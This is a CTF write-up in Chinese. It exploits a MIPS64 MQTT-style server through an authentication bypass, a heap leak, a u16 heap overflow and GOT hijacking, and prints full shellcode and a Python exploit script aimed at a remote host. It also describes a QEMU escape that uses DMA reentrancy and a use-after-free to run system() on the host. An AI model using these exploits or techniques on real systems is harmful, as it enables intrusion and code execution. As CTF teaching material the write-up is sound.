主要报文类型及其用途如下。SUBSCRIBE/UNSUBSCRIBE 的负载在 topic 前有一个 2 字节 packet id;PUBLISH 的 topic 直接以 2 字节长度开头,QoS 由固定头低 4 位决定。
表 2 主要报文类型
类型 | 值 | 用途 |
|---|---|---|
CONNECT | 1 | 认证,建立客户端上下文 |
PUBLISH | 3 | 向订阅 topic 发布 payload |
SUBSCRIBE | 8 | 订阅 topic,分配名字缓冲 |
UNSUBSCRIBE | 10 | 取消订阅,free 名字与 payload |
PINGREQ | 12 | 递增 ctx[3],保持连接 |
DISCONNECT | 14 | 结束主循环 |
测试环境:Python 3 + socket 完成报文构造与交互;MIPS64 大端汇编使用 mips64-linux-gnuabi64-as/objcopy 生成 shellcode;本地用 qemu-mips64-static 与题目附带的 ld64/libuClibc 进行验证。
认证绕过
CONNECT 解析入口为 0x3200,其中 0x18f0 先检查协议名与固定字段:协议名必须是 MQTT(长度 4),版本为 4,flags 必须为 0xC2,keepalive 必须为 0x4321。随后依次解析客户端 ID、用户名、口令三个长度前缀字符串。客户端 ID 必须是 QWB_Client。用户名字段在网络上传输的是 QWB2026_Admin;服务端会逐字节与 0x1d 异或,再与常量 LJ_/-/+B\ypts 比较,因此发包时需要对后者异或 0x1d。口令为 1540124。
代码 1 CONNECT 报文示例
10 2e
00 04 4d 51 54 54 # protocol name: MQTT
04 # level
c2 # flags
43 21 # keepalive 0x4321
00 0a 51 57 42 5f 43 6c 69 65 6e 74 # client id: QWB_Client
00 0d 51 57 42 32 30 32 36 5f 41 64 6d 69 6e # username: QWB2026_Admin
00 07 31 35 34 30 31 32 34 # password: 1540124口令校验先计算 MD5(password),再与 rodata 0x6e98 的 16 字节常量逐字节异或 0x59,最后用 strncmp 比较。0x6e98 异或 0x59 后为 52 2a 00 e8 8c a7 ...,第三字节是 0x00;strncmp 在遇到这个 0x00 时提前结束,因此实际上只比较前 3 个字节。
只要 md5(password) 的前 3 字节为 52 2a 00 即可通过。md5("1540124") = 522a005b d3a3e13a 1e12905f a42a9110,前三字节正好匹配。服务端返回 20 02 00 00,表示认证成功。
订阅与 PINGREQ 门控
订阅 QWB2026_News(topic 长度 12)时,0x3e80 会把客户端上下文的 ctx[2] 置 1。之后每收到一个 PINGREQ,0x4968 会检查 ctx[1](认证状态)和 ctx[2],并把 ctx[3] 加 1;连续发送 6 次 PINGREQ 后 ctx[2]=1、ctx[3]=6。注意这里递增的是客户端上下文 ctx[3],不是报文缓冲的 packet[3];这也是为什么必须在 PUBLISH 之前先发满 6 次 PINGREQ。
堆地址泄漏
向 QWB2026_News 发布 payload 时,PUBLISH 处理函数先为 payload 分配缓冲;随后 sub_37D8 在特殊订阅分支中执行:
代码 2 sub_37D8 的特殊分支(伪代码)
tmp = malloc(12 + cap); // 12 字节 topic 名 + payload 长度
free(tmp); // 立即释放
if (cap > 0 && cap < 0x21)
free(payload); // payload 也被释放
if (ctx[2] == 1 && ctx[3] == 6)
send_publish("QWB2026_News", payload, cap); // 释放后回显
free(payload);
payload = NULL;
cap = 0;payload 被 free 后进入 fastbin,其用户地址前 8 字节(fastbin fd)指向先前释放的 tmp 块。0x2584 随后的回显读取的正是这块已经释放的 payload,因此前 8 字节就是 tmp 块的 chunk 头地址。
回包格式为 34 28 + 2 字节 topic 长度 + QWB2026_News + 2 字节 packet id + payload。payload 的前 8 字节即泄漏值 N1,body 偏移 16 处取 8 字节即可。
代码 3 泄漏回包格式
34 28 00 0c 51 57 42 32 30 32 36 5f 4e 65 77 73 # QWB2026_News
00 01 # packet id
<8 bytes N1> <16 bytes 原 payload>该临时块在堆上的位置固定为 base + 0x220f0,因此 PIE base = N1 - 0x220f0。后续所有地址(A、V、free@GOT 等)都从这个 base 推算。
表 3 PUBLISH payload 长度的影响
payload 长度 | payload 块 | tmp 块 | 结果 |
|---|---|---|---|
17 | 0x20 | 0x30 | 0x2610 的 0x20 临时缓冲复用 payload,回显被覆盖 |
24 | 0x30 | 0x30 | 可用;payload fd = tmp chunk 头,泄漏 N1 |
32 | 0x30 | 0x40 | payload fd 为 NULL,无地址可泄漏 |
因此泄漏步骤固定使用 24 字节 payload(0x41..0x58)。
堆溢出:SUBSCRIBE 长度截断
SUBSCRIBE 解析在 0x3e80。topic_len 为 u16;代码先把 len+1 存回 u16,再以该值加 1 调用 malloc。当 len=0xFFFF 时,(u16)(0xFFFF+1)=0,实际只分配 1 字节;随后只把 len 截断到 0x110=272,memcpy 272 字节,造成 271 字节堆溢出。
代码 4 SUBSCRIBE 长度截断(伪代码)
len = parse_u16(packet + n + 3); // n = varint 字节数
if (len == 0) return;
u16 alloc = (u16)(len + 1); // 0xFFFF + 1 -> 0
p = malloc(alloc + 1); // malloc(1)
memset(p, 0, alloc + 1); // 1 字节
if (len > 0x110)
len = 0x110; // 272
memcpy(p, packet + n + 5, len); // 272 字节写入对应报文为 82 95 02 00 09 FF FF <272 bytes> 00。remaining length = 2+2+272+1 = 277 = 0x115,varint 为 95 02;声明的 0xFFFF 只影响 len,服务端实际读取多少由 remaining length 决定。
0x3e80 之后会把 malloc(1) 的返回地址 p 和 0xFFFF 存入订阅槽。本利用不需要 UNSUB 命中该槽;真正的触发点是后续主循环的 memset GOT。
grooming 与堆布局
CONNECT 成功后会 free 客户端 ID、用户名、口令三个 0x20 块。为了让 malloc(1) 落在 A、并让 V 留在 fastbin 中,需要先做一轮订阅/退订布局。
表 4 grooming 后的堆布局
对象 | 地址/偏移 | 说明 |
|---|---|---|
ctx | base+0x22080 | calloc(1,16),ctx[2]/ctx[3] 用于回显门控 |
A | base+0x220a0 | CONNECT client id;malloc(1) 的溢出目的地 |
B | base+0x220c0 | CONNECT username;0x2610 的 0x20 临时缓冲 |
C | base+0x220e0 | CONNECT password;QWB2026_News 名字 |
S1 | base+0x22100(头 +0x220f0) | 0x30;泄漏值 N1 就是它的 chunk 头 |
S2 | base+0x22130(头 +0x22120) | 0x30;PUBLISH payload |
V | base+0x22160(头 +0x22150) | 0x40;输出缓冲,fastbin victim |
Guard | base+0x221a0(头 +0x22190) | 0x30;阻止 V 与 top 合并 |
free@GOT | base+0x20220 | 劫持目标 |
fake chunk | base+0x20210 | free@GOT-0x10 |
memset@GOT | base+0x20248 | 触发入口 |
shellcode | base+0x220a0 | 即 A |
grooming 顺序:
CONNECT 成功后,client id/username/password 三个
0x20块按 A、B、C 顺序释放,fastbin 头为 C→B→A。订阅 S1(30 字节)、S2(30 字节)、V(54 字节)、Guard(30 字节),分别得到
0x30、0x30、0x40、0x30块。Guard 分配在 V 之后,防止free(V)与 top 合并。UNSUBSCRIBE S1/S2/V,把三个块释放到 fastbin;Guard 保持占用。
订阅
QWB2026_News(12 字节),消费 C(base+0x220e0)。连发 6 次 PINGREQ,使
ctx[3]=6。PUBLISH
QWB2026_News24 字节:payload 请求 25 字节,取走 S2;sub_37D8的临时块请求 36 字节,取走 S1;free 临时块 S1,再 free payload S2;0x2610再分配两个0x20块(B、A)和一个0x40输出块 V,结束时 B、A、V 依次释放。此时 fastbin0x20头为 A→B,0x30头为 S2→S1,0x40头为 V。回显的 payload 是 S2,其 fd 为 S1 的 chunk 头
base+0x220f0,即 N1。
为什么需要 Guard:如果 V 紧邻 top,free(V) 会被合并进 top,fastbin 0x40 中没有 V,后续两次 malloc(0x40) 就无法按预期弹出 V 和 fake。
fastbin 注入与 GOT 劫持
SUBSCRIBE 0xFFFF 的 malloc(1) 弹出 fastbin 0x20 的头 A(base+0x220a0)。V 的用户地址是 base+0x22160 = A+0xC0;fastbin fd 位于用户地址 +0,因此 V->fd 就是溢出数据偏移 0xC0。
把 V->fd 改为 fake = free@GOT - 0x10 = base + 0x20210。第一次 malloc(0x40) 弹出 V,fastbin 头变为 fake;第二次 malloc(0x40) 返回 fake+0x10 = free@GOT。
表 5 272 字节溢出数据的布局
溢出偏移 | 内容 | 值 |
|---|---|---|
0x00..0x5F | shellcode | 96 字节 MIPS64 机器码 |
0x80 | 路径字符串 | /flag + 0x00 |
0xB0 | V.prev_size | 0 |
0xB8 | V.size | 0x41(0x40 | PREV_INUSE) |
0xC0 | V.fd | base+0x20210 |
0xF0 | Guard.prev_size | 0 |
0xF8 | Guard.size | 0x31 |
V 的 chunk 头在 A+0xB0:prev_size=0、size=0x41。fake chunk 的 size 字段位于 base+0x20218,运行时是加载器写入的 base+0x20000,并不是 0x40;在该 uClibc 版本的 fastbin 路径中实测不校验 size,仍能返回。Guard 头也写成 0/0x31,避免溢出破坏 Guard。
fastbin 链变化:fastbin[0x40]: V(0x22160) -> fake(0x20210);第一次 malloc 后 fastbin[0x40]=fake,第二次 malloc 返回 free@GOT。
SUBSCRIBE 的 topic_len=L,malloc 请求 L+2。uClibc 的 request2size 约为 align_up(req+8,16)(最小 0x20);L=48 → 请求 50 → chunk 0x40。两次 L2 SUBSCRIBE 都固定用 48 字节 topic。
第一次 L2 SUBSCRIBE(pid=10)弹出 V,把 48 字节 filler 写入 V;fastbin 头变成 fake。第二次 L2 SUBSCRIBE(pid=11)弹出 fake,malloc 返回 free@GOT;随后 memset(free@GOT,0,50)、memcpy(free@GOT,data,48)。data 每 8 字节写一个 shellcode 地址 A(base+0x220a0)。
表 6 GOT 覆写布局
data 偏移 | GOT 地址 | 函数 |
|---|---|---|
0x00 | 0x20220 | free |
0x08 | 0x20228 | __register_frame_info |
0x10 | 0x20230 | strlen |
0x18 | 0x20238 | __errno_location |
0x20 | 0x20240 | stderr |
0x28 | 0x20248 | memset |
0x30 | 0x20250 | __uClibc_main(仅前 6 字节) |
0x20248 的 memset GOT 被写成 A。第二次 SUBSCRIBE 的 SUBACK 由 0x2d4c 用 write(GOT 0x20298,未被覆盖)发出,因此还能看到 90 03 00 0b 01。之后主循环回到 0x439c,在 0x440c 调用 memset(buf,0,0x18011),经 0x20248 跳到 A。
注意:memset 的调用目标是在 GOT 被清零之前已经取出的;清零发生在 fake malloc 的 memset 内部,随后 memcpy 又把 memset GOT 写回 A。
第一次 L2 SUBSCRIBE 的 memcpy 会把 48 字节写到 A+0xC0..A+0xEF;如果用 54,会写到 A+0xF5,覆盖 A+0x80 附近的路径/消息以及 A+0xF0 的 Guard 头。改用 48 后,路径放在 A+0x80,既不被第一次 L2 覆盖,也不影响 V 头(0xB0)和 Guard 头(0xF0)。
MIPS64 shellcode
MIPS64 n64 系统调用号:open=5002、read=5000、write=5001。shellcode 放在 A(base+0x220a0),长度 96 字节;路径 /flag 放在 A+0x80,读缓冲放在 A+0xA0。
关键汇编如下:
代码 5 读取 /flag 的 MIPS64 shellcode
bal 1f
nop
1: move t0, ra
daddiu s0, t0, 0x78 # path = A+0x80
daddiu s1, t0, 0x98 # buf = A+0xA0
li v0, 5002 # open
move a0, s0
move a1, zero
move a2, zero
syscall
move s2, v0
li v0, 5000 # read
move a0, s2
move a1, s1
li a2, 0x200
syscall
move s3, v0
li v0, 5001 # write
li a0, 1
move a1, s1
move a2, s3
syscall
loop:
b loop
nop为什么用 s0-s3:该环境下 syscall 前后 t0/t1 不可靠。第一版用 t1 保存读缓冲,open 返回后跳到错误地址直接 SIGSEGV;改成 callee-saved 的 s 寄存器后稳定。
为什么路径在 A+0x80:第一次 class-0x40 SUBSCRIBE 的 48 字节 memcpy 从 A+0xC0 开始,若路径放在 A+0xC8 会被 X 填充覆盖。早期测试中回显的 6 字节是 XXXXXX 而不是 PWNED,就是这个原因。
末尾 b . 保持连接,避免 shellcode 退出后包装器先关闭 socket 导致 flag 丢失。触发后先收到第二次 SUBSCRIBE 的 SUBACK 90 03 00 0b 01,紧接着 main loop 的 memset 跳到 A,执行 open/read/write,输出 flag。
完整机器码(96 字节)如下,脚本中的 SC 常量与之一致:
代码 6 shellcode 机器码
041100010000000003e0602565900078659100982402138a
0200202500002825000030250000000c0040902524021388
0240202502202825240602000000000c0040982524021389
2404000102202825026030250000000c1000ffff00000000完整利用脚本
以下脚本与远端利用时使用的版本一致,包含报文构造、grooming、泄漏解析、堆溢出与 GOT 劫持;SC 为 96 字节 MIPS64 大端 shellcode。
代码 7 oldsvr 完整利用脚本
import socket, struct
HOST, PORT = '47.105.126.181', 2883
K = 0x220f0
SC = bytes.fromhex(
'041100010000000003e0602565900078659100982402138a02002025'
'00002825000030250000000c00409025240213880240202502202825'
'240602000000000c0040982524021389240400010220282502603025'
'0000000c1000ffff00000000'
)
def varint(n):
out = b''
while True:
b = n & 0x7f
n >>= 7
out += bytes([b | 0x80]) if n else bytes([b])
if not n:
return out
def pkt(t, flags, body):
return bytes([(t << 4) | flags]) + varint(len(body)) + body
def sstr(x):
return struct.pack('>H', len(x)) + x
def connect_pkt():
vh = sstr(b'MQTT') + bytes([4, 0xc2, 0x43, 0x21])
user = bytes(c ^ 0x1d for c in b'LJ_/-/+B\ypts')
body = sstr(b'QWB_Client') + sstr(user) + sstr(b'1540124')
return pkt(1, 0, vh + body)
def sub(topic, pid, qos=0):
return pkt(8, 2, struct.pack('>H', pid) + sstr(topic) + bytes([qos]))
def unsub(topic, pid):
return pkt(10, 2, struct.pack('>H', pid) + sstr(topic))
def pub(topic, data):
return pkt(3, 0, sstr(topic) + data)
def sub_overflow(data272, pid):
return pkt(8, 2, struct.pack('>H', pid) +
b'\xff\xff' + data272 + b'\x00')
def build_ov(base):
buf = bytearray(272)
buf[:len(SC)] = SC
buf[0x80:0x86] = b'/flag\x00'
struct.pack_into('>Q', buf, 0xb0, 0)
struct.pack_into('>Q', buf, 0xb8, 0x41)
struct.pack_into('>Q', buf, 0xc0, base + 0x20210)
struct.pack_into('>Q', buf, 0xf0, 0)
struct.pack_into('>Q', buf, 0xf8, 0x31)
return bytes(buf)
def recv_all(s, t=0.5):
s.settimeout(t)
out = b''
while True:
try:
d = s.recv(65536)
if not d:
break
out += d
except socket.timeout:
break
return out
s = socket.create_connection((HOST, PORT))
s.sendall(connect_pkt()); print(recv_all(s).hex())
for topic, pid in [(b'A'*30, 1), (b'B'*30, 2),
(b'V'*54, 3), (b'G'*30, 4)]:
s.sendall(sub(topic, pid)); print(recv_all(s).hex())
for topic, pid in [(b'A'*30, 5), (b'B'*30, 6), (b'V'*54, 7)]:
s.sendall(unsub(topic, pid)); print(recv_all(s).hex())
s.sendall(sub(b'QWB2026_News', 8)); recv_all(s)
for _ in range(6):
s.sendall(pkt(12, 0, b''))
recv_all(s)
s.sendall(pub(b'QWB2026_News', bytes(range(0x41, 0x59))))
out = recv_all(s)
i = out.find(b'\x34')
body = out[i+2:i+2+out[i+1]]
N1 = struct.unpack('>Q', body[16:24])[0]
base = N1 - K
print('N1', hex(N1), 'base', hex(base))
s.sendall(sub_overflow(build_ov(base), 9)); print(recv_all(s).hex())
s.sendall(sub(b'X'*48, 10)); print(recv_all(s).hex())
got = bytearray(48)
for off in range(0, 48, 8):
struct.pack_into('>Q', got, off, base + 0x220a0)
s.sendall(sub(bytes(got), 11))
print(recv_all(s, 2.5))远端验证
远端 1883 在测试时连接被拒绝;2883 正常。两次独立连接均返回同一 flag:
flag{1ec6896ee054f9cab370a5a8473c30ee}回包在第二次 SUBSCRIBE 的 SUBACK 之后紧接 flag 字节:
代码 8 远端输出(节选)
90 03 00 0b 01 66 6c 61 67 7b 31 65 63 ... 7d环境说明:本地 qemu-user 8.2 对 guest heap 实施 NX,在 A 处会 SIGSEGV;远端环境允许堆上取指,因此同一 shellcode 在远端可执行。若在本地复现,需使用允许 guest 堆执行的 qemu 或直接在远端验证。
考点补充
核心考点:自定义 MQTT 风格协议逆向与认证绕过,串起
strncmp遇0x00提前结束、u16 截断堆溢出(0xFFFF+1→0,malloc(1)后 memcpy 272)、fastbin fd 篡改劫持 GOT,最终经主循环memset@GOT跳入堆上 MIPS64 shellcode 读取/flag。关键技巧:利用释放后回显读出 fastbin fd(固定偏移
base+0x220f0)反推 PIE base;用订阅/退订 grooming 让malloc(1)落在 A、V 落入fastbin[0x40],并留 Guard 块阻止 V 与 top 合并;fake chunk 取free@GOT-0x10,使第二次malloc(0x40)恰好返回 GOT 表项,再用 48 字节 topic 同时覆写 6 个 GOT 项。常见坑:门控递增的是
ctx[3]而非报文里的packet[3],必须发满 6 次 PINGREQ 才回显;payload 要选 24 字节(0x30块),17 会被临时缓冲复用覆盖、32 会让 fd 为 NULL;两次 L2 SUBSCRIBE 若用 54 字节会盖掉A+0xF0的 Guard 头和A+0x80的路径;本地 qemu-user 8.2 对 guest heap 实施 NX,需允许堆上取指才可复现。延伸:fake chunk 的 size 字段是被加载器写成
base+0x20000的非法值却仍被分配,说明该 uClibc 的 fastbin 路径缺少 size 校验;MIPS64 n64 下open=5002、read=5000、write=5001,且 syscall 前后 t 系列寄存器不可靠、须用 callee-saved 的 s 寄存器,这两点可直接迁移到其他 MIPS64 堆利用场景。
ez_qemu
1. 题目信息与运行环境
本题附件给出一套完整的远程环境:Dockerfile、docker-entrypoint.sh、run.sh、ctf.xinetd、guest/(vmlinuz、initramfs.cpio.gz)以及 qemu/(qemu-system-x86_64、pc-bios/)。线上由 xinetd 监听端口,每个连接 fork 一次 run.sh,再用 timeout 600 启动一个 QEMU 实例,命令行固定为:
qemu-system-x86_64 -M q35 -m 512M -accel tcg -no-reboot -display none -monitor none \
-serial stdio -device ctf-nic -device ctf-watchdog -device ctf-audio \
-device ctf-logger -device ctf-msg -kernel vmlinuz -initrd initramfs.cpio.gz \
-L pc-bios -append "console=ttyS0 rdinit=/init quiet"客户机是 Linux 5.11 + 纯 busybox 的 initramfs:/init 装好 busybox、挂载 proc/sys/devtmpfs、打印 READY_FOR_ESC 后直接 exec /bin/sh,串口就是 root shell;initramfs 里没有 /tmp 目录。容器入口脚本会创建 /tmp/flag_f(root:ctf,740),而 QEMU 以 ctf:ctf 运行——也就是说 QEMU 进程本身就有权限读这个文件,只要能拿到宿主侧代码执行(或让 QEMU 替我们执行一条命令),flag 就会直接打到串口上。
qemu-system-x86_64 是 7.0.0 自行编译的(二进制里残留 /home/ai/Desktop/qemu_go/game/qemu-7.0.0/hw/ctf/ 这类源码路径),已 strip,PIE。除 QEMU 自带的 e1000e、VGA 等设备外,题目用 -device 额外挂了 5 个自定义 PCI 设备:厂商号都是 0x1234,设备号 0x1001~0x1005(ctf-nic、ctf-watchdog、ctf-audio、ctf-logger、ctf-msg),每个设备只有一个 4KB 的 BAR0。
2. 静态分析:把 5 个自定义设备逆出来
2.1 方法
二进制虽然 strip 了,但保留了完整的 TypeInfo 和 QOM 类型注册。我们写了一个基于 pyelftools + capstone 的小工具:先从 .data.rel.ro 的重定位表里按 TypeInfo 结构(name、parent、instance_size、class_init 指针)把 5 个设备类型找出来,再从 class_init 找到 realize,从 realize 里的 memory_region_init_io 找到 MemoryRegionOps(read/write 函数指针),最后用 capstone 反汇编 MMIO 回调,把 addr & ~3 的跳表和寄存器语义还原出来。这里有两个便利:这个 QEMU 是 -O0 编译的(参数和局部变量都在栈上、调用不内联),反汇编几乎等价于源码;设备的 MMIO 回调统一用一张 16 槽跳表分发,寄存器与槽位一一对应,很好对。
2.2 设备寄存器与对象布局
偏移均相对于设备状态结构体:
ctf-nic (0x1001)
0x00/0x04 tx_desc u64 读写 0x08 tx_len 读
0x0c tx_ctrl 写 bit0 触发 TX 0x10/0x14 rx_desc u64 读写
0x18 rx_len 读 0x1c rx_ctrl 写 bit0 触发 RX
0x20 status 读 0x24 irq 写 0x28 slot 状态 读 (gen<<16)|(state&0xffff)
内部: 0xb10=&g_slot_obj 0xb18 tx_desc 0xb20 rx_desc 0xb28 tx_ctrl
0xb2c rx_ctrl 0xb30 tx_len 0xb34 rx_len 0xb38 status 0xb3c irq
0xb40 txbuf[0x800] 0x1340 rxbuf[0x800]
ctf-watchdog (0x1002)
0x00 timeout_ms 读写 0x04/0x08 写: arm(timer_mod)
0x0c 写: stop(timer_del) 0x10 写: reset(新建对象+释放旧对象)
0x14 读: status=1|(state==1?2:0)|(state==2?4:0)|(gen<<16)
0x18/0x1c msg_guest_addr u64
0x20 写: msg_len -> set_message(min(len,0x3f) 从 guest 拷到 obj+8)
0x24 写: ensure(槽空则 create) 0x28 写: free timer(释放对象并清槽)
ctf-audio (0x1003)
0x00 写: alloc(g_malloc0(0x58)) 0x04 写: free(g_free 并清空)
0x08/0x0c guest_src u64 0x10 copy_len
0x14 写: write_data(min(len,0x50) 从 guest 拷进 buffer)
0x18 写: process(对 buf[0..min(buf->len,0x50)) 求和)
0x1c/0x20 读写 buf->len / buf->fmt
ctf-logger (0x1004)
0x00/0x04 guest_src u64 0x08 off 0x0c len
0x10 写: 触发 copy 0x14 读: status 0x18 读: trans_len 0x1c 读: 0x1000
ctf-msg (0x1005)
0x00 写: create(g_malloc(0x40), [0]=puts, +8="maybe uaf here")
0x04 写: free(不清空 obj 指针) 0x08 写: invoke(call [obj], rdi=obj+8)
0x0c 读: state==1 0x10 读: 0x40
ctf_timer (0x58, g_malloc0_n(1,0x58))
+0x00 QEMUTimer *ts +0x08 char msg[0x40] +0x48 notify = puts
+0x50 u32 state +0x54 u32 generation
audio buffer (0x58, g_malloc0(0x58)): data[0x50] @0, len @0x50, fmt @0x54
msg object (0x40, g_malloc(0x40)): [0]=puts, +8 字符串, +0x38 = 0
g_slot_obj @ 0x1254128(nic 与 watchdog 共用)2.3 关键 API 与对象生命周期
DMA 走 PCI bus master 地址空间(pci_dma_read/pci_dma_write),地址是 guest 物理地址,因此可以指向任意 guest 物理页,包括其它设备的 MMIO BAR。watchdog 用 QEMUTimer 实现:create 时 g_malloc0_n(1,0x58) 求出 ctf_timer,同时 timer_new_ms 出 QEMUTimer;timer_free 内部会先 timer_del,因此 arm/stop/reset/free 各条路径都不会留下悬垂 timer。msg 的 free 只 g_free(obj) 并把 state 置 2,不清空 obj 指针,invoke 会 call [obj]——看起来是 UAF,但对象是 g_malloc(0x40)(0x50 chunk),自定义代码里没有 0x40~0x48 的分配能把它回收,属于出题人放的诱饵(字符串还写着 "maybe uaf here")。
3. 漏洞
3.1 ctf-logger:0x1000 - off 的下溢,越界 DMA
ctf_logger_copy 的关键代码如下:
memset(buf, 0, 0x1000);
room = 0x1000 - off; // off 为 u32,64 位减法,off > 0x1000 时下溢
trans = min(len, room);
if (trans) dma_write(s, s->guest_src, buf + off, trans); // 宿主栈 -> guestoff 超过 0x1000 后 room 变成极大值,trans 直接取 len(最多 0x10000),于是把 buf+off 处的宿主栈内容拷回 guest。取 off = 0x1010、len = 0x80,客户机拿到的就是 [rbp](+0x1010)和 ctf_logger_copy 的返回地址(+0x1018,固定偏移 0x4132c7)。这里我们一开始把 DMA 方向看反了,以为是把 guest 数据写到宿主栈上,按“栈溢出”折腾了很久;实际上它是 host->guest 的越界读,本身就是一个干净的 PIE 泄漏原语。
3.2 ctf-nic:DMA 重入 + 悬垂 slot 对象(可利用的 UAF)
ctf_nic_rx 在所有 DMA 之前就把 *s->slot(全局 g_slot_obj,内容即 watchdog 最近创建的 0x58 ctf_timer 对象)读进栈变量,三次 DMA 结束之后才用它做回调:
obj = *s->slot; // 先缓存
dma_read(desc); ... dma_write(...); ... // 三次 DMA 的目标由描述符完全控制
...
if (obj) ((void (*)(char *))obj->notify)(obj->msg); // call [obj+0x48], rdi = obj+8QEMU 允许 DMA 写打到别的设备 MMIO,于是这三次写在 RX 内部形成重入,可以依次做三件事:1) 写 WD+0x28,把当前 slot 的 timer 对象 free 掉(槽被置空,但栈上的 obj 仍是老指针);2) 写 AUD+0x00,g_malloc0(0x58) 分配 audio buffer;3) 写 AUD+0x14,触发 write_data,把 guest 里准备好的 0x50 字节拷进这个 buffer。只要第 2 步拿到的正好是第 1 步刚释放的那块 0x58,第 3 步就等于往这块“已经释放但仍被函数栈引用”的内存里写了一份完全由我们控制的内容;RX 返回前那句 call [obj+0x48] 就会跳到我们写在 +0x48 的地址,rdi = obj+8 就是我们写在 +8 的字符串。
3.3 排除的路径
watchdog 的 timer_free 内部有 timer_del,timer 本身没有悬垂;msg 的 UAF 因为尺寸对不上、没有可回收的分配点,只能当诱饵。能同时做到“释放 + 同尺寸复用 + 悬垂调用”的只有 nic RX 这一条链。
4. 利用链
Step 0:准备一块“已知 guest 物理地址”的内存。 mmap 一页、memset 触发缺页、mlock,再读 /proc/self/pagemap 拿到 PFN,得到客户机物理地址 pa(root 有 CAP_SYS_ADMIN,该接口可用)。纯 shell 版也可以用 0x9fc00(EBDA,/proc/iomem 中标为 Reserved,STRICT_DEVMEM 下仍可读写)当 scratch,只是只有 1KB 且要用 devmem。
Step 1:logger 泄漏 PIE。 把 logger 的 guest_src 设为 pa、off = 0x1010、len = 0x80,写 0x10 触发;从 p+8 读回 8 字节 ret,校验 (ret & 0xfff) == 0x2c7 且 ret >= 0x1000000000(PIE 段地址),然后 base = ret - 0x4132c7,system_plt = base + 0x2e2c90。这两个偏移都来自对附件里这个 qemu-system-x86_64 的反汇编(logger 的返回点、system 的 PLT stub)。
Step 2:在同一页准备 fake object。 p+8 = "/bin/cat /tmp/flag_f",p+0x48 = system_plt;再把 audio 的 guest 源地址设为 pa、长度设为 0x50。
Step 3:prep,让 0x58 的复用确定发生。 触发 RX 之前先写 WD+0x28(free 当前 timer 对象),再写 WD+0x24(ensure):ensure 会 create 一个新 timer 对象,从 0x60 tcache 里取走一块,人为把 tcache 腾出一个空位。这样 RX 里 free 掉的对象才会落进 tcache 而不是 fastbin,紧接着的 g_malloc0(0x58) 才能确定性复用同一块。没有这一步时,free 会因 tcache 已满而进 fastbin,audio 拿到的是另一块,回调仍然是旧的 puts,只会打印 "timer fired"。
Step 4:构造 RX 描述符并触发。 描述符结构为:
struct desc { u64 a0; u32 l0; u32 r0; u64 a1; u32 l1; u32 r1; u64 st; };取 a0 = WD+0x28、长度 4(free timer),a1 = AUD+0x00、长度 4(g_malloc0 复用),st = AUD+0x14(write_data,这次写固定值 1)。把描述符放在 pa+0x100,写 NIC 的 rx_desc(0x10/0x14),再写 rx_ctrl bit0(0x1c)触发。RX 内部依次执行:free timer 对象 -> audio 复用该 chunk -> write_data 写入 fake object -> 回调 [obj+0x48] = system,rdi = obj+8 = "/bin/cat /tmp/flag_f"。system 在宿主侧执行,输出(flag)直接落到 QEMU 的 stdout,也就是我们的串口。
Step 5:上传、运行、清理。 客户机没有 /tmp,文件只能放 /;串口上传用 busybox 自带的 uudecode + gzip -dc,base64 每行 76 字符、每行间隔 25ms,避免串口丢字符。跑完发 poweroff -f,让 QEMU 立刻退出(题目 README 明确要求,否则 QEMU 会空跑到 600s 超时)。
5. 踩坑记录(按遇到顺序)
8 字节 MMIO 访问会被静默拒绝。 设备的
MemoryRegionOps里valid.max_access_size = 4,QEMU 的memory_region_access_valid会直接拒绝 size > 4 的访问:读返回 0xff,写被丢弃且不报错。最初用 64 位访问写 tx_desc 和 msg 地址,读回一直是 0、DMA 读回 0xff,一度怀疑 BAR 没映射成功;改成两次 32 位写之后一切正常。DMA 前必须先开 bus master。 不写 PCI COMMAND 的 bit2(BUS MASTER),
pci_dma_read/write走的是未启用的地址空间,读回 0xff。exp 里对00:03~00:05的 config 偏移 4 写0x0007(IO|MEM|BUSMASTER)后才通。/dev/mem写不了 System RAM。 Ubuntu 内核CONFIG_STRICT_DEVMEM=y,/dev/mem只允许非 RAM 区域:System RAM(如0x1000000)直接 EPERM,而0x9fc00(EBDA,Reserved)可读可写,于是纯 shell 版拿它当 scratch。busybox devmem 对 >= 0x80000000 的地址会失败。 VGA BAR
0xfd000000用 devmem 报 EOVERFLOW / Value too large,而 ctf 设备的 BAR(0xfebd5xxx)和0x9fc00都正常,所以 shell 版里要避开 VGA。logger 的 DMA 方向(最费时的一个坑)。 DMA helper 有两个 thunk,只差一个立即数(读
r8d=0、写r8d=1),从反汇编能看出 logger 用的是写方向,也就是把宿主栈buf+off拷回 guest。方向看反导致把“越界读泄漏”误当成“越界写”,绕了很大一圈。教训:DMA 的(addr, buf, len)参数顺序和读写方向必须逐字节确认,不能靠函数名猜。0x60 tcache 的状态会让复用失败。 free 时 tcache 满则进 fastbin;随后
g_malloc0从 tcache 拿另一块,回调仍是旧 puts。加 prep(free + ensure 腾一个 tcache 位)后本地 3/3、远程一次命中。串口上传会丢字符。 一次把 heredoc 和全部 base64 全速发过去,guest 只收到半截(回显里能看到行被截断),
uudecode失败。改成每行 76 字符、25ms 间隔,并等提示符再发下一条。远程地址会变、容器可能没起来。 过程中换过几次地址:旧地址从 connected 变成 refused(被回收),新地址有时 TCP 秒连但几十分钟 0 字节、连接也不关。判断方法:refused = 端口没了;connected 但长时间 0 字节 = 后端 QEMU/xinetd 没起来,不是 exp 的问题;能收到
READY_FOR_ESC才是可用实例。确认 ASLR 是否开启的方法。 一开始怀疑线上没开 ASLR,直接用
0x555555554000基址打system@plt会立刻崩;把回调地址换成内核固定映射的 vsyscall 页(0xffffffffff600000,执行 gettimeofday 后 ret)却能正常返回、QEMU 继续存活。这说明 fake object 确实被装上、回调也真的调到了,只是地址不对——即 ASLR 开着,必须先泄漏。在看不到宿主/proc/<pid>/maps的情况下,这个“固定地址对照实验”非常好用。本地验证环境。 用附件里的 QEMU + 自制 initramfs(塞一个静态测试程序直接驱动 MMIO)+ 一个自己写的 TCP->QEMU 桥接,就能在本地把整条链反复跑通;最后又用原版 initramfs + 串口上传脚本完整跑了 3 次,3/3 成功,泄漏出的 PIE 与
/proc/<pid>/maps完全一致,确认偏移无误。设备日志在 stderr,不在串口。 5 个设备的
[CTF]日志都是fprintf(stderr, ...),线上 stderr 被 run.sh 重定向到/tmp/qemu_stderr.log(选手看不到);只有 watchdog 的 notify(puts)写 stdout,也就是串口。所以调试时不能指望在串口看到设备日志,只能用回调里的 puts 或者自己构造的可观测副作用。
6. 结果
远程(182.92.196.63:28704)一次命中,串口记录如下:
READY_FOR_ESC
/ # ... 上传并执行 /ez_qemu ...
